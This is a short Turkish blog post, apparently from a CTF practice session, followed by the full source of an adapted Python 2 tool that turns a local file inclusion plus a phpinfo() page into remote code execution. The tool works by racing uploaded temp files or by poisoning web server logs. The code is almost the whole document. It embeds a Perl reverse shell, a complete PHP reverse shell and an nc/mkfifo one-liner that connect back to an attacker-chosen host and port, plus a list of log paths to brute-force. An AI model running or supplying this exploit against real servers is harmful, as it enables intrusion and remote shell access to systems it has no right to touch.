PHP Infi ile LFI varsa daha öncesinde reverse alınabileceğini duymuştum, hatta bir ara merak edip ippsec'in kanalında da izlemiştim ama denemek hiç nasip olmamıştı. Şimdi çözdüğüm makineleri antrenman olsun diye yine çzüyorum. LFI var php info var e deneyeyim dedim. İlk çözdüğümde başka bir şekilde çözmüşüm. Aşamaları teker teker anlatamayacağım ve direkt hap vereceğim.
https://github.com/roughiz/lfito_rce sayfasındaki kod oldukça başarılı ancak python2 ile geliştirilmiş bu yüzden kurması ve çalıştırması belki zahmetli olabilir. Aynı zamanda bir eksiside cookie parametresi yok. Benim örneğimde lfi login sayfasından giriş yaptıktan sonra olan bir sayfada vardı. İlk başta kodu geliştirip merge isteğinde bulunmak geçti içimden ancak sonrasında aman dedim belki ileride yaparım. Kendim bir tane cookies isimli değişken tanımladım ve requests isteklerine teker teker ekledim. Buradaki değişkenimin değeri tabikide bana özel, onu siz kendiniz değiştirirsiniz...
Düzenlemiş olduğum kodun son hali aşağıda, cookie değerinide ayarladıktan sonra python2 de bu kodun sorunsuz bir şekilde çalışması gerekir.
#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests
from pprint import pprint
import re
import sys
import argparse
import pyfiglet
import threading
import base64
import random
import string
import time
import socket
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
cookies = {"PHPSESSID":"7kauc9cdmegvubamidkq241lg7"}
# proxy set for test
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
#http log file paths
LOG_FILES=["/var/log/apache/access.log",
"/var/log/apache/error.log",
"/usr/local/apache/log/error_log",
"/var/log/httpd/access_log",
"/var/log/httpd/access.log",
"/var/log/httpd/error_log",
"/var/log/httpd/_error_log",
"/var/log/httpd/_access_log",
"/etc/httpd/conf/logs/error_log",
"/etc/httpd/logs/error_log",
"/var/log/apache2/_access_log",
"/var/log/apache2/access.log",
"/var/log/apache2/_error.log",
"/var/log/apache2/_error_log",
"/usr/local/apache2/log/error_log",
"/var/log/httpd-access.log",
"/var/log/httpd-access.log",
"/var/log/nginx/error.log",
"/var/log/nginx/access.log",
"/var/log/nginx-access.log",
"/var/log/nginx/mysite.com.access.log",
"/var/log/nginx/mysite.com.error.log",
"/var/log/nginx/%saccess.log",
"/var/log/nginx/%serror.log",
"/var/log/vsftpd.log",
"/var/log/sshd.log"]
## temlate and payloads
template='use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
template2="""<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '%s';
$port = %s;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\\n";
}
}
?>"""
TAG="Security Test"
http = urllib3.PoolManager()
def setup(host,phpinfo,PAYLOAD,PADDING,TAG):
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
REQ1="""POST """+phpinfo+"""?a="""+PADDING+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+PADDING+"""\r
HTTP_ACCEPT: """ + PADDING + """\r
HTTP_USER_AGENT: """+PADDING+"""\r
HTTP_ACCEPT_LANGUAGE: """+PADDING+"""\r
HTTP_PRAGMA: """+PADDING+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
return (REQ1)
def debug(msg,VERBOSE):
if (VERBOSE):
print('[DEBUG] '+msg, "blue")
def perror(msg):
print('[ERROR] '+msg, "red")
def phpInfoLFI(VERBOSE, LFI_PATH, TAG, reqphp, http, host, port, offset):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(reqphp)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
try:
d= requests.get(LFI_PATH % fn, verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies).content
except requests.exceptions.ReadTimeout:
return fn
#d = http.request('GET', LFI_PATH % fn, timeout=5).data
debug(d,VERBOSE)
if d.find(TAG) != -1:
debug("The rev shell output: "+d,VERBOSE)
return fn
else:
return None
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, t, r, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.payload_type = t
self.revshell_name = r
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
if self.payload_type == 3:
print("\nGot it! Reverse php Shell created in %s" % self.revshell_name,'green')
else:
print("\nGot it! the payload %s is executed in the remote host" % self.payload_type,"green")
self.event.set()
except socket.error:
return
def controll_log(args):
args=args
if args.verbose.lower() in ('yes', 'true', 't', 'y', '1'):
VERBOSE= True
else:
VERBOSE= False
LFI_PATH=args.lfi
# verify if both urls are reachable
try:
if requests.get(LFI_PATH, cookies=cookies).status_code in (404,403) :
perror("LFI url path is not reachable !\n")
sys.exit(1)
except requests.exceptions.MissingSchema, e:
perror("LFI url path is not reachable !\n")
perror(str(e)+"\n")
sys.exit(1)
except requests.exceptions.ConnectionError, e:
perror("LFI url path is not reachable !\n")
perror(str(e)+"\n")
sys.exit(1)
# verify payload input
if args.ptype <= 0 or args.ptype > 3 :
perror("Payload parameter should be an integer value: 1 or 2 or 3 !\n")
sys.exit(1)
ascii_banner = pyfiglet.figlet_format("R@()Gh1z tool")
print("")
print(ascii_banner)
print('Find all scripts in: https://github.com/roughiz\n\n', "green")
print("LFI RCE via controlled log", "green")
print "-=" * 50+"\n"
# define the template to encode
TEMPLATES ={}
TEMPLATES[1]=template % (args.lhost,args.lport)
TEMPLATES[3]=template2 % (args.lhost,args.lport)
TEMPLATES[2]=""
base64revshell=base64.b64encode(TEMPLATES[args.ptype])
# define the end of lfi request
if args.reqend != "":
args.reqend="%"+args.reqend
# setup payloads and lfi and tag
TAG="Security Test"
revshell_name='/tmp/'+''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(12)])+".php"
PAYLOAD1=""" %s <?php $file = fopen('/tmp/shell.pl', 'w'); fwrite($file,base64_decode('%s')); fclose($file); exec('`which perl` /tmp/shell.pl'); ?>""" % (TAG,base64revshell)
PAYLOAD2=""" %s<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f') ?>""" % (TAG,args.lhost,args.lport)
PAYLOAD3=""" %s <?php $file = fopen('%s', 'w'); fwrite($file,base64_decode('%s')); fclose($file); ?>""" % (TAG,revshell_name,base64revshell)
PAYLOADS= {}
PAYLOADS[1]=PAYLOAD1
PAYLOADS[2]=PAYLOAD2
PAYLOADS[3]=PAYLOAD3
PAYLOAD=PAYLOADS[args.ptype]
LFI_PATH+="%s"+args.reqend
# hostname
host=args.lfi.split("//")[1].split("/")[0]
if ":" in host:
host=host.split(":")[0]
# inject PAYLOAD into log file
debug('The payload: '+PAYLOAD,VERBOSE)
PAYLOAD = PAYLOAD.replace("\r","").replace("\n","")
debug('The payload: '+PAYLOAD,VERBOSE)
HEADERS={"User-Agent":PAYLOAD, "From":PAYLOAD, "HTTP_USER_AGENT":PAYLOAD, 'Connection':'close'}
for i in range(3):
http.request('GET', args.lfi, headers=HEADERS)
if args.logfile is not None:
LOG_FILES.append(args.logfile)
found=False
i=0
file_founded=""
for file in LOG_FILES:
i+=1
sys.stdout.write( "\r% 4d / % 4d" % (i, len(LOG_FILES)))
sys.stdout.flush()
if "%s" in file:
file = file%host
try:
req= requests.get(LFI_PATH % file, verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies)
except requests.exceptions.ReadTimeout:
found=True
file_founded=file
continue
except requests.exceptions.ConnectionError:
found=True
file_founded=file
continue
debug("Response code: "+str(req.status_code),VERBOSE)
debug("Response content: "+req.content,VERBOSE)
d=req.content
if d.find(TAG) != -1:
found=True
file_founded=file
break
if found:
print("\n\nThe web server log file path is %s" % file_founded,'yellow')
if args.ptype == 3:
print("\nGot it! Reverse php Shell created in %s" % revshell_name,'green')
url =LFI_PATH%revshell_name
print("\nI will execute the reverse shell, requesting the url: "+url,"yellow")
try:
requests.get(url,verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies)
except requests.exceptions.ReadTimeout:
print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
else:
print("\nGot it! the payload %s is executed in the remote host" % args.ptype,"green")
print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
else:
print("\n:( The RCE trough controlled Log File script failed !!","red")
def main(args):
args = args
if args.verbose.lower() in ('yes', 'true', 't', 'y', '1'):
VERBOSE= True
else:
VERBOSE= False
LFI_PATH=args.lfi
PHPINFO_PATH=args.phpinfo
# verify if both urls are reachable
try:
if requests.get(LFI_PATH, cookies=cookies).status_code in (404,403) or requests.get(PHPINFO_PATH, cookies=cookies).status_code in (404,403):
perror("LFI url path or PHPINFO url path is not reachable !\n")
sys.exit(1)
except requests.exceptions.MissingSchema, e:
perror("LFI url path or PHPINFO url path is not reachable !\n")
perror(str(e)+"\n")
sys.exit(1)
except requests.exceptions.ConnectionError, e:
perror("LFI url path or PHPINFO url path is not reachable !\n")
perror(str(e)+"\n")
sys.exit(1)
# verify payload input
if args.ptype <= 0 or args.ptype > 3 :
perror("Payload parameter should be an integer value: 1 or 2 or 3 !\n")
sys.exit(1)
ascii_banner = pyfiglet.figlet_format("R@()Gh1z tool")
print("")
print(ascii_banner)
print('Find all scripts in: https://github.com/roughiz\n\n', "green")
print("LFI With PHPInfo() RCE script", "green")
print "-=" * 50+"\n"
poolsz=args.threads
# define the template to encode
TEMPLATES ={}
TEMPLATES[1]=template % (args.lhost,args.lport)
TEMPLATES[3]=template2 % (args.lhost,args.lport)
TEMPLATES[2]=""
base64revshell=base64.b64encode(TEMPLATES[args.ptype])
# define the end of lfi request
if args.reqend != "":
args.reqend="%"+args.reqend
# setup payloads and lfi and tag
revshell_name='/tmp/'+''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(12)])+".php"
PAYLOAD1="""%s\r
<?php $file = fopen("/tmp/shell.pl", "w"); fwrite($file,base64_decode("%s")); fclose($file); exec("`which perl` /tmp/shell.pl &"); ?>\r""" % (TAG,base64revshell)
PAYLOAD2="""%s\r
<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f') ?>\r""" % (TAG,args.lhost,args.lport)
PAYLOAD3="""%s\r
<?php $file = fopen("%s", "w"); fwrite($file,base64_decode("%s")); fclose($file); ?>\r""" % (TAG,revshell_name,base64revshell)
PAYLOADS= {}
PAYLOADS[1]=PAYLOAD1
PAYLOADS[2]=PAYLOAD2
PAYLOADS[3]=PAYLOAD3
PAYLOAD=PAYLOADS[args.ptype]
LFI_PATH+="%s"+args.reqend
# phpinfo post params
PADDING="A" * 5000
COOKIES= {"PHPSESSID":"q249llvfromc1or39t6tvnun42;","othercookie":PADDING}
HEADERS= {"HTTP_ACCEPT":PADDING, "HTTP_USER_AGENT":PADDING, "HTTP_ACCEPT_LANGUAGE":PADDING, "HTTP_PRAGMA": PADDING}
PHPINFO_PATH+='?a='+PADDING
files = {'file': ('test.txt',PAYLOAD, 'text/plain')}
debug("\nLFIrequest template : "+LFI_PATH,VERBOSE)
response = requests.post(PHPINFO_PATH, files=files,headers=HEADERS, cookies=COOKIES)
i = response.content.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
debug("found %s at %i" % (response.content[i:i+10],i),VERBOSE)
# padded up a bit
offset= i+256
if VERBOSE:
debug("\nPost request template that will be send. url: "+response.request.url,VERBOSE)
debug("\nPost request template that will be send. headers: "+str(response.request.headers),VERBOSE)
port = 80
host=host0=args.phpinfo.split("//")[1].split("/")[0]
if ":" in host0:
host=host0.split(":")[0]
port=int(host0.split(":")[1])
phpinfo="/"+args.phpinfo.split("//")[1].split("/")[1]
reqphp= setup(host0,phpinfo,PAYLOAD,PADDING,TAG)
debug(""+host0+" "+host+" "+str(port),VERBOSE)
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print("Spawning worker pool (%d)..." % poolsz,"green")
tp = []
payload_type = args.ptype
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, payload_type, revshell_name, VERBOSE, LFI_PATH, TAG, reqphp, http, host, port, offset))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
if e.is_set():
print("\nYep! The payload works great !","green")
if args.ptype == 3:
url =LFI_PATH%revshell_name
print("\nI will execute the reverse shell, requesting the url: "+url,"yellow")
try:
requests.get(url,verify=False,headers={'Connection':'close'},timeout=10, cookies=cookies)
except requests.exceptions.ReadTimeout:
print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
else:
print("\nVerify your nc listenner %s:%s" % (args.lhost,args.lport),"yellow")
else:
print(":(",'red')
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
arg_parser = argparse.ArgumentParser(description='RCE from LFI with PHPINFO assistance or Via controlled log file ')
arg_parser.add_argument('-a','--action', dest='action', help='Define the attack type\n \t\t - 1 for PHPINFO and - 2 for controlled log. Value 1 by default')
arg_parser.add_argument('-l','--lfi', dest='lfi', help='the url path of the LFI vuln, per example "http://127.0.0.1:8080/lfi.php?file=" ', type=str, required=True)
arg_parser.add_argument('--lhost', dest='lhost', help='The local ip to listen, for rev shell', type=str, required=True)
arg_parser.add_argument('--lport', dest='lport', help='The local port to listen, for rev shell', type=int, required=True)
arg_parser.add_argument('--payload', dest='ptype', help='Set the type of payload to use.\n 1|2|3 By default payload is set to 3', type=int, default=3)
arg_parser.add_argument('-e','--end', dest='reqend', help='Define any end of lfi request, per examlpe "%%00"\n by default the end request is empty', type=str, default='')
arg_parser.add_argument('-v', '--verbose', dest='verbose', help='Define verbose output. set to False by default', type=str, default="FALSE")
arg_parser.add_argument("-t","--threads", dest="threads", type=int, help="[For phpinfo action]. Threads number, set to 10 by default", default=10)
arg_parser.add_argument('-i','--phpinfo', dest='phpinfo', help='[For phpinfo action]. Define the url path of the "phpinfo" script. Per ex: "http://host/phpinfo.php"', type=str)#req
arg_parser.add_argument('-f','--logfile', dest='logfile', help='[For controlled log action]. Define the path of the http server log file. By default script will use bruteforce', type=str)
action, rem_args = arg_parser.parse_known_args()
if not action.action or action.action == "1":
if action.phpinfo is None:
print("\nlfito_rce.py: error: argument -i/--phpinfo is required")
sys.exit(1)
action=True
elif action.action and action.action == "2":
action=False
else:
arg_parser.error("\nAction should be: 1 for 'PHPINFO' or 2 for 'controlled log'")
args = arg_parser.parse_args()
if action:
main(args)
else:
controll_log(args)
İlk Yorumu Siz Yapın